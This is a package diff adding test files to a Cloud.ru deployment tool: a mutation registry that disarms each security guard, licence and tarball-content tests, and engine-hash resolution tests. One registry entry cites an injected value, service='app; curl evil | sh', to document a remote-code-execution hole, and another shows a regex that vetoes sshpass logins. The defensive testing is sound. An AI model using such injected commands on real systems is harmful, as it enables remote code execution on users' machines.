@dzhechkov/cloudru-hub 0.1.4

package/test/mutation-registry.json

@@ -0,0 +1,135 @@
+{
+  "testCommand": "npm test",
+  "entries": [
+    {
+      "id": "brake-sshpass-veto-executes",
+      "property": "The ADR-004 paid-step brake VETOES password-SSH to a Cloud.ru VM (sshpass fixture, exit 2) — deleting the regex lets the forbidden command through and the acid tests + the installer's executed probe must see it.",
+      "file": "templates/.claude/hooks/cloudru-ssh-guard.cjs",
+      "mutation": {
+        "find": "    if (/sshpass/.test(cmd) && /@\\d+\\.\\d+\\.\\d+\\.\\d+/.test(cmd)) {",
+        "replace": "    if (false) {"
+      },
+      "minFailing": 1
+    },
+    {
+      "id": "brake-rollout-hole-stays-closed",
+      "property": "kubectl `rollout <mutating-subverb>` via mcp k8s_kubectl is denied on OUR side (the MEASURED upstream classifier hole, 05 §2.3) — disarming the guard re-opens unconfirmed prod restarts.",
+      "file": "templates/.claude/hooks/cloudru-ssh-guard.cjs",
+      "mutation": {
+        "find": "    if (m && m[1] !== 'status' && m[1] !== 'history') {",
+        "replace": "    if (false) {"
+      },
+      "minFailing": 1
+    },
+    {
+      "id": "brake-ask-rules-cover-every-mutator",
+      "property": "Every mutating tool is emitted under permissions.ask — an installer that stops emitting ask rules leaves paid tools one agent-call away (ADR-004 §1).",
+      "file": "src/classification.js",
+      "mutation": {
+        "find": "  return { allow: expand(by.allow), ask: expand(by.ask), deny: expand(by.deny) };",
+        "replace": "  return { allow: expand(by.allow), ask: [], deny: expand(by.deny) };"
+      },
+      "minFailing": 2
+    },
+    {
+      "id": "zero-upstream-bytes-files-whitelist",
+      "property": "files[] is the exact whitelist of OUR artifacts — smuggling an engine dir into the publication contract must be caught by the pack-contents test (ADR-001: zero upstream bytes ship).",
+      "file": "package.json",
+      "mutation": {
+        "find": "    \"data/\",",
+        "replace": "    \"data/\",\n    \"native/\","
+      },
+      "minFailing": 1
+    },
+    {
+      "id": "licence-publishable-state-asserted",
+      "property": "Post-grant (ADR-001 AM-2) the pack must REMAIN publishable — a stray private:true would silently kill every future publish while CI stays green, so the publishable-state assertion must go red on it. (The Grant-Confirmation URL protection itself lives in LICENSE, which the gate cannot mutate — extensionless file, no parser; its layer-1 coverage is the pack-holds LICENSE assertions plus the dz guard licence-hold rule, both reading LICENSE directly on every run/publish.)",
+      "file": "package.json",
+      "mutation": {
+        "find": "  \"version\": \"0.1.4\",",
+        "replace": "  \"version\": \"0.1.4\",\n  \"private\": true,"
+      },
+      "minFailing": 1
+    },
+    {
+      "id": "licence-block-guard-trigger-declared",
+      "property": "The dz guard licence-hold rule triggers off package.json.licenseHold — the field deliberately STAYS post-grant (a satisfied hold passes with it in place); deleting it silently disarms the guard's LICENSE/NOTICES/SPDX verification on every future publish and must go red here.",
+      "file": "package.json",
+      "mutation": {
+        "find": "  \"licenseHold\": {",
+        "replace": "  \"licenseHoldDisarmed\": {"
+      },
+      "minFailing": 1
+    },
+    {
+      "id": "licence-spdx-matches-license-file",
+      "property": "package.json.license must equal the SPDX id of the actual LICENSE text (ADR-001 Confirmation: the field may never claim a licence the file does not carry).",
+      "file": "package.json",
+      "mutation": {
+        "find": "  \"license\": \"MIT\",",
+        "replace": "  \"license\": \"Apache-2.0\","
+      },
+      "minFailing": 1
+    },
+    {
+      "id": "brake-stack-status-stays-ask",
+      "property": "stack_status ADVANCES a planned/running stack job server-side (handleStackStatus tools_stack.go:451 → advance :479-484 → s.callTool :220 invokes provision/pg_create/… — LIVE-REPRODUCED: one call moved a planned job planned→running and attempted provision, stopped only at AUTH_REQUIRED). Flipping it back to allow re-opens the zero-prompt paid chain stack_plan→stack_status and must go red (ADR-004 AM-1, cross-model QE HIGH).",
+      "file": "data/tools-classification.json",
+      "mutation": {
+        "find": "\"stack_status\": {\n      \"effect\": \"mutating\",\n      \"permission\": \"ask\",",
+        "replace": "\"stack_status\": {\n      \"effect\": \"mutating\",\n      \"permission\": \"allow\","
+      },
+      "minFailing": 2
+    },
+    {
+      "id": "brake-logs-stays-ask",
+      "property": "logs concatenates its user-controlled `service` arg RAW into a remote `docker compose logs <service>` executed over SSH (handleLogs tools.go:1758 → engine/logs.go:61 `cmd += \" \" + opts.Service` → Deployer.Exec logs.go:64 → session.CombinedOutput internal/deploy/ssh.go:117), so service=\"app; curl evil | sh\" is arbitrary RCE on the user's VM. Flipping it back to allow puts a zero-prompt command-injection path behind a SILENT allow and must go red (ADR-004 AM-2, shell-reach hazard axis, cross-model QE HIGH).",
+      "file": "data/tools-classification.json",
+      "mutation": {
+        "find": "\"logs\": {\n      \"effect\": \"shell-reach\",\n      \"permission\": \"ask\",",
+        "replace": "\"logs\": {\n      \"effect\": \"shell-reach\",\n      \"permission\": \"allow\","
+      },
+      "minFailing": 2
+    },
+    {
+      "id": "dialect-codename-gate-armed",
+      "property": "The compiler's positive codename invariant (no case-insensitive 'hermes' in ANY emitted file) is driven by data/dialects.json forbiddenCodenames — emptying the list disarms the net under the 8-token denylist (which alone let the bare codename survive 5x in the real-corpus compile, MEASURED) and the codename-gate tests must go red.",
+      "file": "data/dialects.json",
+      "mutation": {
+        "find": "\"forbiddenCodenames\": [\"hermes\", \"dzhechko\", \"cloudru-vm-cli\", \"captainkeys\"],",
+        "replace": "\"forbiddenCodenames\": [],"
+      },
+      "minFailing": 2
+    },
+    {
+      "id": "dialect-binary-path-leak-scrubbed",
+      "property": "The engine config-dir leak form `.cloudru-vm` (dotted path) is scrubbed to `.cloudru-hub` by a targeted replacement (0.1.3 Variant A) — the bare token is NOT codename-gated because it is also the legitimate MCP server name (\\bcloudru-vm\\b over-blocks the compiler's own injected prose, PROVEN). Disarming the scrub re-ships the path leak with ok=true and the leak-scrub tests must go red.",
+      "file": "data/dialects.json",
+      "mutation": {
+        "find": "        { \"find\": \"\\\\.cloudru-vm(?![\\\\w-])\", \"flags\": \"g\", \"replace\": \".cloudru-hub\" },\n        { \"find\": \"\\\\bcloudru-vm[ \\\\t]+(?=(?:deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor)\\\\b)\", \"flags\": \"g\", \"replace\": \"cloudru-hub \" },\n        { \"find\": \"\\\\bdzhechko\\\\b\", \"flags\": \"gi\", \"replace\": \"dzhechkov\" },\n        { \"find\": \"captainkeys\", \"flags\": \"gi\", \"replace\": \"user-keys\" }\n      ]\n    },\n    \"codex\": {",
+        "replace": "        { \"find\": \"\\\\.cloudru-vm-disarmed(?![\\\\w-])\", \"flags\": \"g\", \"replace\": \".cloudru-hub\" },\n        { \"find\": \"\\\\bcloudru-vm[ \\\\t]+(?=(?:deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor)\\\\b)\", \"flags\": \"g\", \"replace\": \"cloudru-hub \" },\n        { \"find\": \"\\\\bdzhechko\\\\b\", \"flags\": \"gi\", \"replace\": \"dzhechkov\" },\n        { \"find\": \"captainkeys\", \"flags\": \"gi\", \"replace\": \"user-keys\" }\n      ]\n    },\n    \"codex\": {"
+      },
+      "minFailing": 2
+    },
+    {
+      "id": "dialect-binary-invocation-leak-scrubbed",
+      "property": "The engine CLI-invocation leak form `cloudru-vm <real-engine-verb>` (finite verb set cited from engine cmd/cloudru-vm/main.go AddCommand, lines 53-65) is scrubbed to `cloudru-hub <verb>` without touching the MCP-server prose `cloudru-vm видны` (0.1.3 Variant A). Disarming the scrub re-ships the invocation leak and the leak-scrub + verb-set tests must go red.",
+      "file": "data/dialects.json",
+      "mutation": {
+        "find": "        { \"find\": \"\\\\bcloudru-vm[ \\\\t]+(?=(?:deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor)\\\\b)\", \"flags\": \"g\", \"replace\": \"cloudru-hub \" },\n        { \"find\": \"\\\\bdzhechko\\\\b\", \"flags\": \"gi\", \"replace\": \"dzhechkov\" },\n        { \"find\": \"captainkeys\", \"flags\": \"gi\", \"replace\": \"user-keys\" }\n      ]\n    },\n    \"codex\": {",
+        "replace": "        { \"find\": \"\\\\bcloudru-vm-disarmed[ \\\\t]+(?=(?:deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor)\\\\b)\", \"flags\": \"g\", \"replace\": \"cloudru-hub \" },\n        { \"find\": \"\\\\bdzhechko\\\\b\", \"flags\": \"gi\", \"replace\": \"dzhechkov\" },\n        { \"find\": \"captainkeys\", \"flags\": \"gi\", \"replace\": \"user-keys\" }\n      ]\n    },\n    \"codex\": {"
+      },
+      "minFailing": 2
+    },
+    {
+      "id": "pointer-no-veto-warning-mandatory",
+      "property": "The pointer-only section always carries the no-veto warning line (ADR-005: pointer without the warning is an illusion of support).",
+      "file": "data/pointer-section.md",
+      "mutation": {
+        "find": "⚠ ПРЕДУПРЕЖДЕНИЕ:",
+        "replace": "Примечание:"
+      },
+      "minFailing": 1
+    }
+  ]
+}

package/test/pack-holds.test.mjs

@@ -0,0 +1,96 @@
+// The iron guardrails as layer-1 tests (feature hermes-claude-adaptation) — POST-GRANT state.
+// ADR-001 AM-2 (2026-08-12): the Hermes author's publication approval is recorded
+// (features/hermes-claude-adaptation/03_adr/grant-record-2026-08-12.md), the hold is
+// SATISFIED. The hold-era protections (private:true, PENDING placeholder, EPRIVATE probe)
+// retired; what must now hold forever:
+//   1. LICENSE carries the recorded grant (Grant-Confirmation URL), honest attribution,
+//      and NO fabricated grant wording on the author's behalf.
+//   2. The `licenseHold` trigger field STAYS so the dz guard `licence-hold` rule keeps
+//      verifying LICENSE/NOTICES/SPDX on every publish (a satisfied hold passes with it).
+//   3. package.json.license matches the SPDX id of the actual LICENSE text (ADR-001
+//      Confirmation), and covers ONLY the owner's code.
+//   4. ZERO upstream engine bytes in the tarball — unchanged.
+// Discrimination: test/mutation-registry.json flips each protection and requires red here.
+import { test } from 'node:test';
+import assert from 'node:assert/strict';
+import fs from 'node:fs';
+import path from 'node:path';
+import { execFileSync } from 'node:child_process';
+import { fileURLToPath } from 'node:url';
+
+const pkgDir = path.join(path.dirname(fileURLToPath(import.meta.url)), '..');
+const pkg = JSON.parse(fs.readFileSync(path.join(pkgDir, 'package.json'), 'utf8'));
+const license = fs.readFileSync(path.join(pkgDir, 'LICENSE'), 'utf8');
+
+const PENDING_MARKER = '<!-- PENDING:';
+
+test('LICENSE is post-grant and honest: no PENDING placeholder, grant recorded with a confirmation link, no fabricated grant wording', () => {
+  assert.ok(license.length > 400);
+  assert.ok(license.includes('MIT License'), 'owner code is MIT');
+  assert.ok(license.includes('Dmitry Zhechkov'), 'owner copyright line');
+  assert.ok(!license.includes(PENDING_MARKER), 'the PENDING placeholder must be gone post-grant');
+  assert.match(license, /GRANT RECORDED/, 'the grant record paragraph exists');
+  assert.match(license, /Grant-Confirmation:\s*https?:\/\/\S+/, 'the Grant-Confirmation line carries a URL (dz guard licence-hold requires it)');
+  assert.match(license, /owner-attested/, 'honesty: the approval is stated as owner-attested, not as a written artifact we do not hold');
+  assert.ok(!/Hermes author(.|\n){0,120}hereby grants/i.test(license), 'no fabricated grant wording');
+  assert.ok(!/hereby grants/i.test(license), 'no grant-deed language fabricated on anyone’s behalf');
+});
+
+test('LICENSE attribution chain (owner condition + ADR-001 AM-1): engine additions credited to their author, CLI foundation to the owner, zero engine bytes', () => {
+  assert.ok(license.includes('Тимур'), 'the Hermes engine author is credited by name');
+  assert.match(license, /ZERO bytes of the engine additions|ZERO bytes of them/, 'zero-engine-bytes statement present');
+  assert.match(license, /nothing in this file grants any\s+third party rights to the engine additions/, 'no rights to engine additions are granted by this LICENSE');
+});
+
+test('the licenseHold trigger for the dz guard rule STAYS declared post-grant (satisfied hold passes with it in place)', () => {
+  assert.ok(pkg.licenseHold && typeof pkg.licenseHold === 'object', 'licenseHold field present — deleting it disarms the guard layer');
+  assert.match(pkg.licenseHold.adr, /001-licence-and-provenance-precondition/);
+});
+
+test('package.json.license matches the SPDX id of the actual LICENSE text (ADR-001 Confirmation), and the pack is publishable', () => {
+  assert.ok(license.includes('MIT License'), 'LICENSE Part 1 is the MIT text');
+  assert.equal(pkg.license, 'MIT', 'license field must equal the SPDX id of the LICENSE file');
+  assert.notEqual(pkg.private, true, 'post-grant the pack must be publishable');
+});
+
+test('THIRD_PARTY_NOTICES.md exists, non-empty, and preserves the MinIO Apache-2.0 NOTICE (ADR-001 point 4)', () => {
+  const notices = fs.readFileSync(path.join(pkgDir, 'THIRD_PARTY_NOTICES.md'), 'utf8');
+  assert.ok(notices.length > 400);
+  for (const dep of ['minio-go', 'cobra', 'golang.org/x/crypto', 'yaml.v3']) assert.ok(notices.includes(dep), dep);
+  assert.ok(notices.includes('MinIO Project'), 'MinIO NOTICE preserved');
+});
+
+test('files[] is the explicit whitelist — no globs, no engine paths (files[] = silent publication contract)', () => {
+  assert.deepEqual(pkg.files, [
+    'bin/', 'src/', 'templates/', 'data/', 'docs/', 'test/',
+    'README.md', 'CHANGELOG.md', 'LICENSE', 'THIRD_PARTY_NOTICES.md', '.dz-manifest.json', 'sbom.json',
+  ]);
+  for (const entry of pkg.files) {
+    assert.ok(!/native|engine|skill\//.test(entry), `files[] entry "${entry}" looks like an engine path`);
+    assert.ok(!entry.includes('*'), 'no globs');
+  }
+});
+
+test('npm pack --dry-run: the tarball contains ZERO upstream engine bytes (no ELF, no Go sources, no engine binary name)', () => {
+  const out = execFileSync('npm', ['pack', '--dry-run', '--json'], { cwd: pkgDir, encoding: 'utf8', timeout: 60_000 });
+  const report = JSON.parse(out);
+  const entries = report[0].files.map((f) => f.path);
+  assert.ok(entries.length > 10, 'tarball is non-trivial');
+  for (const rel of entries) {
+    assert.ok(!/\.go$/.test(rel), `Go source in tarball: ${rel}`);
+    assert.ok(!/(^|\/)cloudru-vm$/.test(rel), `engine binary name in tarball: ${rel}`);
+    assert.ok(!/(^|\/)(native|engine|engine-build)(\/|$)/.test(rel), `engine dir in tarball: ${rel}`);
+    const full = path.join(pkgDir, rel);
+    if (fs.existsSync(full) && fs.statSync(full).isFile() && fs.statSync(full).size >= 4) {
+      const fd = fs.openSync(full, 'r');
+      const head = Buffer.alloc(4);
+      fs.readSync(fd, head, 0, 4, 0);
+      fs.closeSync(fd);
+      assert.ok(!head.equals(Buffer.from([0x7f, 0x45, 0x4c, 0x46])), `ELF binary in tarball: ${rel}`);
+    }
+  }
+  // spot-check the deliverables that MUST be in the tarball
+  for (const must of ['LICENSE', 'THIRD_PARTY_NOTICES.md', 'bin/cloudru-hub.js', 'templates/.claude/hooks/cloudru-ssh-guard.cjs', 'data/tools-classification.json']) {
+    assert.ok(entries.includes(must), `${must} missing from tarball`);
+  }
+});

package/test/resolve.test.mjs

@@ -0,0 +1,81 @@
+// Engine resolution tests — ADR-002: runtime resolution, sha256 pin, loud esbuild-style error.
+import { test } from 'node:test';
+import assert from 'node:assert/strict';
+import fs from 'node:fs';
+import os from 'node:os';
+import path from 'node:path';
+import crypto from 'node:crypto';
+import { createRequire } from 'node:module';
+
+const require = createRequire(import.meta.url);
+const { resolveEngine, sha256File, platformKey } = require('../src/resolve.js');
+const PKG = require('../package.json');
+
+const tmp = () => fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-resolve-'));
+
+test('env CLOUDRU_VM_BIN wins and is hashed; a non-pinned file reports verified:false but resolves', () => {
+  const dir = tmp();
+  const fake = path.join(dir, 'cloudru-vm');
+  fs.writeFileSync(fake, 'fake-engine-bytes');
+  const r = resolveEngine({ CLOUDRU_VM_BIN: fake, CLOUDRU_HUB_CONFIG: path.join(dir, 'none.json') });
+  assert.equal(r.path, fake);
+  assert.equal(r.source, 'env');
+  assert.equal(r.sha256, crypto.createHash('sha256').update('fake-engine-bytes').digest('hex'));
+  assert.equal(r.verified, false);
+});
+
+test('a file matching the pinned baseline hash reports verified:true', () => {
+  // Only meaningful on linux-x64 (the single pinned platform, ADR-002 point 4).
+  const key = platformKey();
+  const pinned = PKG.cloudruHub.binaryHashes[key];
+  if (!pinned) return; // other platforms have no pin — nothing to verify here
+  const dir = tmp();
+  const fake = path.join(dir, 'cloudru-vm');
+  fs.writeFileSync(fake, 'x');
+  const r = resolveEngine({ CLOUDRU_VM_BIN: fake, CLOUDRU_HUB_CONFIG: path.join(dir, 'none.json') });
+  assert.equal(r.verified, r.sha256 === pinned);
+});
+
+test('config enginePath is used when env is unset', () => {
+  const dir = tmp();
+  const fake = path.join(dir, 'engine');
+  fs.writeFileSync(fake, 'config-engine');
+  const cfg = path.join(dir, 'config.json');
+  fs.writeFileSync(cfg, JSON.stringify({ enginePath: fake }));
+  const r = resolveEngine({ CLOUDRU_HUB_CONFIG: cfg });
+  assert.equal(r.source, 'config');
+  assert.equal(r.path, fake);
+});
+
+test('nothing resolvable → loud error naming all three paths and the platform-package status', () => {
+  const dir = tmp();
+  const r = resolveEngine({ CLOUDRU_HUB_CONFIG: path.join(dir, 'absent.json') });
+  assert.ok(r.error);
+  assert.match(r.error, /CLOUDRU_VM_BIN/);
+  assert.match(r.error, /enginePath/);
+  assert.match(r.error, /never bundled/);
+  // post-grant (ADR-001 AM-2) the missing platform package awaits its ADR-002 trusted-CI
+  // build — it is no longer a licence hold, and the error must say so honestly.
+  assert.match(r.error, /ADR-002 trusted-CI/);
+});
+
+test('a dangling env path falls through to the error, not a crash', () => {
+  const dir = tmp();
+  const r = resolveEngine({ CLOUDRU_VM_BIN: path.join(dir, 'nope'), CLOUDRU_HUB_CONFIG: path.join(dir, 'absent.json') });
+  assert.ok(r.error);
+  assert.match(r.error, /set, but not a file/);
+});
+
+test('sha256File matches node crypto', () => {
+  const dir = tmp();
+  const f = path.join(dir, 'f');
+  fs.writeFileSync(f, 'abc');
+  assert.equal(sha256File(f), crypto.createHash('sha256').update('abc').digest('hex'));
+});
+
+test('the pinned linux-x64 hash is the ADR-002 measured engine sha256', () => {
+  assert.equal(
+    PKG.cloudruHub.binaryHashes['linux-x64'],
+    '59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124',
+  );
+});